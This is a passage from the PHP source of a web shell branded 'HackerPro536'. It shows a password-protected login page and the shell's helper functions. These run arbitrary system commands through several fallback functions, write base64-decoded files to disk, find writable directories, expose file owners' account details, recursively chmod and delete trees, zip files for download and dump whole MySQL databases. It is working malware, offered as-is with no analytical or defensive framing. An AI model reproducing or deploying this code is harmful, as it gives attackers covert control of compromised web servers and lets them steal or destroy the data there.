1545 border-right: 2px dashed #8B0000;
1546 border-bottom: 2px dashed #8B0000;
1547}
1548
1549</style>
1550
1551
1552 <BR><BR>
1553<div align=center >
1554<fieldset style="border: 1px solid rgb(69, 69, 69); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt"><legend><font color=red><B>Login</b></font></legend>
1555
1556<div>
1557<font color=#99CC33>
1558<font color=#33ff00>==[ <B>HackerPro536</B> ]== </font><BR><BR>
1559
1560<form method="POST" action="">
1561 <span style="font:10pt tahoma;">Password: </span><input name="password" type="password" size="20">
1562 <input type="hidden" name="doing" value="login">
1563 <input type="submit" value="Login">
1564 </form>
1565<BR>
1566';
1567 echo "" . $err_mess . "";;
1568 echo ' <B><font color=#FFFFFF>
1569<a href=http://google.com target=_blank>Pass = xxx </a><BR></b>
1570</div>
1571 </fieldset>
1572</head>
1573</html>
1574';
1575 exit;
1576}
1577function execute($cfe) {
1578 $res = '';
1579 if ($cfe) {
1580 if (function_exists('exec')) {
1581 @exec($cfe, $res);
1582 $res = join("\n", $res);
1583 } elseif (function_exists('shell_exec')) {
1584 $res = @shell_exec($cfe);
1585 } elseif (function_exists('system')) {
1586 @ob_start();
1587 @system($cfe);
1588 $res = @ob_get_contents();
1589 @ob_end_clean();
1590 } elseif (function_exists('passthru')) {
1591 @ob_start();
1592 @passthru($cfe);
1593 $res = @ob_get_contents();
1594 @ob_end_clean();
1595 } elseif (@is_resource($f = @popen($cfe, "r"))) {
1596 $res = '';
1597 while (!@feof($f)) {
1598 $res.= @fread($f, 1024);
1599 }
1600 @pclose($f);
1601 }
1602 }
1603 return $res;
1604}
1605function which($pr) {
1606 $path = execute("which $pr");
1607 return ($path ? $path : $pr);
1608}
1609function cf($fname, $text) {
1610 if ($fp = @fopen($fname, 'w')) {
1611 @fputs($fp, base64_decode($text));
1612 @fclose($fp);
1613 }
1614}
1615function debuginfo() {
1616 global $starttime;
1617 $mtime = explode(' ', microtime());
1618 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1619 echo 'Processed in ' . $totaltime . ' second(s)';
1620}
1621function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306') {
1622 if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
1623 p('<h2>Can not connect to MySQL server</h2>');
1624 exit;
1625 }
1626 if ($link && $dbname) {
1627 if (!@mysql_select_db($dbname, $link)) {
1628 p('<h2>Database selected has error</h2>');
1629 exit;
1630 }
1631 }
1632 if ($link && mysql_get_server_info() > '4.1') {
1633 if (in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1634 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1635 }
1636 }
1637 return $link;
1638}
1639function s_array(&$array) {
1640 if (is_array($array)) {
1641 foreach ($array as $k => $v) {
1642 $array[$k] = s_array($v);
1643 }
1644 } else if (is_string($array)) {
1645 $array = stripslashes($array);
1646 }
1647 return $array;
1648}
1649function html_clean($content) {
1650 $content = htmlspecialchars($content);
1651 $content = str_replace("\n", "<br />", $content);
1652 $content = str_replace(" ", " ", $content);
1653 $content = str_replace("\t", " ", $content);
1654 return $content;
1655}
1656function getChmod($filepath) {
1657 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
1658}
1659function getPerms($filepath) {
1660 $mode = @fileperms($filepath);
1661 if (($mode & 0xC000) === 0xC000) {
1662 $type = 's';
1663 } elseif (($mode & 0x4000) === 0x4000) {
1664 $type = 'd';
1665 } elseif (($mode & 0xA000) === 0xA000) {
1666 $type = 'l';
1667 } elseif (($mode & 0x8000) === 0x8000) {
1668 $type = '-';
1669 } elseif (($mode & 0x6000) === 0x6000) {
1670 $type = 'b';
1671 } elseif (($mode & 0x2000) === 0x2000) {
1672 $type = 'c';
1673 } elseif (($mode & 0x1000) === 0x1000) {
1674 $type = 'p';
1675 } else {
1676 $type = '?';
1677 }
1678 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1679 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1680 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1681 $group['read'] = ($mode & 00040) ? 'r' : '-';
1682 $group['write'] = ($mode & 00020) ? 'w' : '-';
1683 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1684 $world['read'] = ($mode & 00004) ? 'r' : '-';
1685 $world['write'] = ($mode & 00002) ? 'w' : '-';
1686 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1687 if ($mode & 0x800) {
1688 $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
1689 }
1690 if ($mode & 0x400) {
1691 $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
1692 }
1693 if ($mode & 0x200) {
1694 $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
1695 }
1696 return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
1697}
1698function getUser($filepath) {
1699 if (function_exists('posix_getpwuid')) {
1700 $array = @posix_getpwuid(@fileowner($filepath));
1701 if ($array && is_array($array)) {
1702 return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
1703 }
1704 }
1705 return '';
1706}
1707function deltree($deldir) {
1708 $mydir = @dir($deldir);
1709 while ($file = $mydir->read()) {
1710 if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
1711 @chmod($deldir . '/' . $file, 0777);
1712 deltree($deldir . '/' . $file);
1713 }
1714 if (is_file($deldir . '/' . $file)) {
1715 @chmod($deldir . '/' . $file, 0777);
1716 @unlink($deldir . '/' . $file);
1717 }
1718 }
1719 $mydir->close();
1720 @chmod($deldir, 0777);
1721 return @rmdir($deldir) ? 1 : 0;
1722}
1723function bg() {
1724 global $bgc;
1725 return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
1726}
1727function getPath($scriptpath, $nowpath) {
1728 if ($nowpath == '.') {
1729 $nowpath = $scriptpath;
1730 }
1731 $nowpath = str_replace('\\', '/', $nowpath);
1732 $nowpath = str_replace('//', '/', $nowpath);
1733 if (substr($nowpath, -1) != '/') {
1734 $nowpath = $nowpath . '/';
1735 }
1736 return $nowpath;
1737}
1738function getUpPath($nowpath) {
1739 $pathdb = explode('/', $nowpath);
1740 $num = count($pathdb);
1741 if ($num > 2) {
1742 unset($pathdb[$num - 1], $pathdb[$num - 2]);
1743 }
1744 $uppath = implode('/', $pathdb) . '/';
1745 $uppath = str_replace('//', '/', $uppath);
1746 return $uppath;
1747}
1748function getcfg($varname) {
1749 $result = get_cfg_var($varname);
1750 if ($result == 0) {
1751 return 'No';
1752 } elseif ($result == 1) {
1753 return 'Yes';
1754 } else {
1755 return $result;
1756 }
1757}
1758function getfun($funName) {
1759 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1760}
1761function GetList($dir) {
1762 global $dirdata, $j, $nowpath;
1763 !$j && $j = 1;
1764 if ($dh = opendir($dir)) {
1765 while ($file = readdir($dh)) {
1766 $f = str_replace('//', '/', $dir . '/' . $file);
1767 if ($file != '.' && $file != '..' && is_dir($f)) {
1768 if (is_writable($f)) {
1769 $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
1770 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
1771 $dirdata[$j]['dirchmod'] = getChmod($f);
1772 $dirdata[$j]['dirperm'] = getPerms($f);
1773 $dirdata[$j]['dirlink'] = ue($dir);
1774 $dirdata[$j]['server_link'] = $f;
1775 $dirdata[$j]['client_link'] = ue($f);
1776 $j++;
1777 }
1778 GetList($f);
1779 }
1780 }
1781 closedir($dh);
1782 clearstatcache();
1783 return $dirdata;
1784 } else {
1785 return array();
1786 }
1787}
1788function qy($sql) {
1789 $res = $error = '';
1790 if (!$res = @mysql_query($sql)) {
1791 return 0;
1792 } else if (is_resource($res)) {
1793 return 1;
1794 } else {
1795 return 2;
1796 }
1797 return 0;
1798}
1799function q($sql) {
1800 return @mysql_query($sql);
1801}
1802function fr($qy) {
1803 mysql_free_result($qy);
1804}
1805function sizecount($size) {
1806 if ($size > 1073741824) {
1807 $size = round($size / 1073741824 * 100) / 100 . ' G';
1808 } elseif ($size > 1048576) {
1809 $size = round($size / 1048576 * 100) / 100 . ' M';
1810 } elseif ($size > 1024) {
1811 $size = round($size / 1024 * 100) / 100 . ' K';
1812 } else {
1813 $size = $size . ' B';
1814 }
1815 return $size;
1816}
1817class PHPZip {
1818 var $out = '';
1819 function PHPZip($dir) {
1820 if (@function_exists('gzcompress')) {
1821 $curdir = getcwd();
1822 if (is_array($dir)) $filelist = $dir;
1823 else {
1824 $filelist = $this->GetFileList($dir);
1825 foreach ($filelist as $k => $v) $filelist[] = substr($v, strlen($dir) + 1);
1826 }
1827 if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir))) chdir($dir);
1828 else chdir($curdir);
1829 if (count($filelist) > 0) {
1830 foreach ($filelist as $filename) {
1831 if (is_file($filename)) {
1832 $fd = fopen($filename, 'r');
1833 $content = @fread($fd, filesize($filename));
1834 fclose($fd);
1835 if (is_array($dir)) $filename = basename($filename);
1836 $this->addFile($content, $filename);
1837 }
1838 }
1839 $this->out = $this->file();
1840 chdir($curdir);
1841 }
1842 return 1;
1843 } else return 0;
1844 }
1845 function GetFileList($dir) {
1846 static $a;
1847 if (is_dir($dir)) {
1848 if ($dh = opendir($dir)) {
1849 while ($file = readdir($dh)) {
1850 if ($file != '.' && $file != '..') {
1851 $f = $dir . '/' . $file;
1852 if (is_dir($f)) $this->GetFileList($f);
1853 $a[] = $f;
1854 }
1855 }
1856 closedir($dh);
1857 }
1858 }
1859 return $a;
1860 }
1861 var $datasec = array();
1862 var $ctrl_dir = array();
1863 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1864 var $old_offset = 0;
1865 function unix2DosTime($unixtime = 0) {
1866 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1867 if ($timearray['year'] < 1980) {
1868 $timearray['year'] = 1980;
1869 $timearray['mon'] = 1;
1870 $timearray['mday'] = 1;
1871 $timearray['hours'] = 0;
1872 $timearray['minutes'] = 0;
1873 $timearray['seconds'] = 0;
1874 }
1875 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1876 }
1877 function addFile($data, $name, $time = 0) {
1878 $name = str_replace('\\', '/', $name);
1879 $dtime = dechex($this->unix2DosTime($time));
1880 $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
1881 eval('$hexdtime = "' . $hexdtime . '";');
1882 $fr = "\x50\x4b\x03\x04";
1883 $fr.= "\x14\x00";
1884 $fr.= "\x00\x00";
1885 $fr.= "\x08\x00";
1886 $fr.= $hexdtime;
1887 $unc_len = strlen($data);
1888 $crc = crc32($data);
1889 $zdata = gzcompress($data);
1890 $c_len = strlen($zdata);
1891 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1892 $fr.= pack('V', $crc);
1893 $fr.= pack('V', $c_len);
1894 $fr.= pack('V', $unc_len);
1895 $fr.= pack('v', strlen($name));
1896 $fr.= pack('v', 0);
1897 $fr.= $name;
1898 $fr.= $zdata;
1899 $fr.= pack('V', $crc);
1900 $fr.= pack('V', $c_len);
1901 $fr.= pack('V', $unc_len);
1902 $this->datasec[] = $fr;
1903 $new_offset = strlen(implode('', $this->datasec));
1904 $cdrec = "\x50\x4b\x01\x02";
1905 $cdrec.= "\x00\x00";
1906 $cdrec.= "\x14\x00";
1907 $cdrec.= "\x00\x00";
1908 $cdrec.= "\x08\x00";
1909 $cdrec.= $hexdtime;
1910 $cdrec.= pack('V', $crc);
1911 $cdrec.= pack('V', $c_len);
1912 $cdrec.= pack('V', $unc_len);
1913 $cdrec.= pack('v', strlen($name));
1914 $cdrec.= pack('v', 0);
1915 $cdrec.= pack('v', 0);
1916 $cdrec.= pack('v', 0);
1917 $cdrec.= pack('v', 0);
1918 $cdrec.= pack('V', 32);
1919 $cdrec.= pack('V', $this->old_offset);
1920 $this->old_offset = $new_offset;
1921 $cdrec.= $name;
1922 $this->ctrl_dir[] = $cdrec;
1923 }
1924 function file() {
1925 $data = implode('', $this->datasec);
1926 $ctrldir = implode('', $this->ctrl_dir);
1927 return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1928 }
1929}
1930function sqldumptable($table, $fp = 0) {
1931 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1932 $tabledump.= "CREATE TABLE $table (\n";
1933 $firstfield = 1;
1934 $fields = q("SHOW FIELDS FROM $table");
1935 while ($field = mysql_fetch_array($fields)) {
1936 if (!$firstfield) {
1937 $tabledump.= ",\n";
1938 } else {
1939 $firstfield = 0;
1940 }
1941 $tabledump.= " $field[Field] $field[Type]";
1942 if (!empty($field["Default"])) {
1943 $tabledump.= " DEFAULT '$field[Default]'";
1944 }
1945 if ($field['Null'] != "YES") {
1946 $tabledump.= " NOT NULL";
1947 }
1948 if ($field['Extra'] != "") {
1949 $tabledump.= " $field[Extra]";
1950 }
1951 }
1952 fr($fields);
1953 $keys = q("SHOW KEYS FROM $table");
1954 while ($key = mysql_fetch_array($keys)) {
1955 $kname = $key['Key_name'];
1956 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1957 $kname = "UNIQUE|$kname";
1958 }
1959 if (!is_array($index[$kname])) {
1960 $index[$kname] = array();
1961 }
1962 $index[$kname][] = $key['Column_name'];
1963 }
1964 fr($keys);
1965 while (list($kname, $columns) = @each($index)) {
1966 $tabledump.= ",\n";
1967 $colnames = implode($columns, ",");
1968 if ($kname == "PRIMARY") {
1969 $tabledump.= " PRIMARY KEY ($colnames)";
1970 } else {
1971 if (substr($kname, 0, 6) == "UNIQUE") {
1972 $kname = substr($kname, 7);
1973 }
1974 $tabledump.= " KEY $kname ($colnames)";
1975 }
1976 }
1977 $tabledump.= "\n);\n\n";
1978 if ($fp) {
1979 fwrite($fp, $tabledump);
1980 } else {
1981 echo $tabledump;
1982 }
1983 $rows = q("SELECT * FROM $table");
1984 $numfields = mysql_num_fields($rows);
1985 while ($row = mysql_fetch_array($rows)) {
1986 $tabledump = "INSERT INTO $table VALUES(";
1987 $fieldcounter = - 1;
1988 $firstfield = 1;
1989 while (++$fieldcounter < $numfields) {
1990 if (!$firstfield) {
1991 $tabledump.= ", ";
1992 } else {
1993 $firstfield = 0;
1994 }
1995 if (!isset($row[$fieldcounter])) {
1996 $tabledump.= "NULL";
1997 } else {
1998 $tabledump.= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
1999 }
2000 }
2001 $tabledump.= ");\n";
2002 if ($fp) {
2003 fwrite($fp, $tabledump);
2004 } else {
2005 echo $tabledump;
2006 }
2007 }
2008 fr($rows);
2009 if ($fp) {
2010 fwrite($fp, "\n");
2011 } else {
2012 echo "\n";
2013 }
2014}
2015function ue($str) {
2016 return urlencode($str);
2017}
2018function p($str) {
2019 echo $str . "\n";
2020}
2021function tbhead() {
2022 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2023}
2024function tbfoot() {
2025 p('</table>');
2026}
2027function makehide($name, $value = '') {
2028 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2029}
2030function makeinput($arg = array()) {
2031 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2032 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2033 !$arg['type'] && $arg['type'] = 'text';
2034 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2035 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2036 if ($arg['newline']) {
2037 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2038 } else {
2039 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2040 }
2041}
2042function makeselect($arg = array()) {
2043 if ($arg['onchange']) {
2044 $onchange = 'onchange="' . $arg['onchange'] . '"';
2045 }
2046 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2047 if ($arg['newline']) p('<p>');
2048 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2049 if (is_array($arg['option'])) {
2050 foreach ($arg['option'] as $key => $value) {
2051 if ($arg['selected'] == $key) {
2052 p("<option value=\"$key\" selected>$value</option>");
2053 } else {
2054 p("<option value=\"$key\">$value</option>");
2055 }
2056 }
2057 }
2058 p("</select>");
2059 if ($arg['newline']) p('</p>');
2060}
2061function formhead($arg = array()) {
2062 !$arg['method'] && $arg['method'] = 'post';
2063 !$arg['action'] && $arg['action'] = $self;
2064 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2065 !$arg['name'] && $arg['name'] = 'form1';
2066 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2067 if ($arg['title']) {
2068 p('<h2>' . $arg['title'] . ' »</h2>');
2069 }
2070}
2071function maketext($arg = array()) {
2072 !$arg['cols'] && $arg['cols'] = 100;
2073 !$arg['rows'] && $arg['rows'] = 25;
2074 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2075 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2076}
2077function formfooter($name = '') {
2078 !$name && $name = 'submit';
2079 p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Submit"></p>');
2080 p('</form>');
2081}
2082function formfoot() {
2083 p('</form>');
2084}
2085function pr($a) {
2086 echo '<pre>';
2087 print_r($a);
2088 echo '</pre>';
2089};
2090echo '
2091';
2092?>
2093<?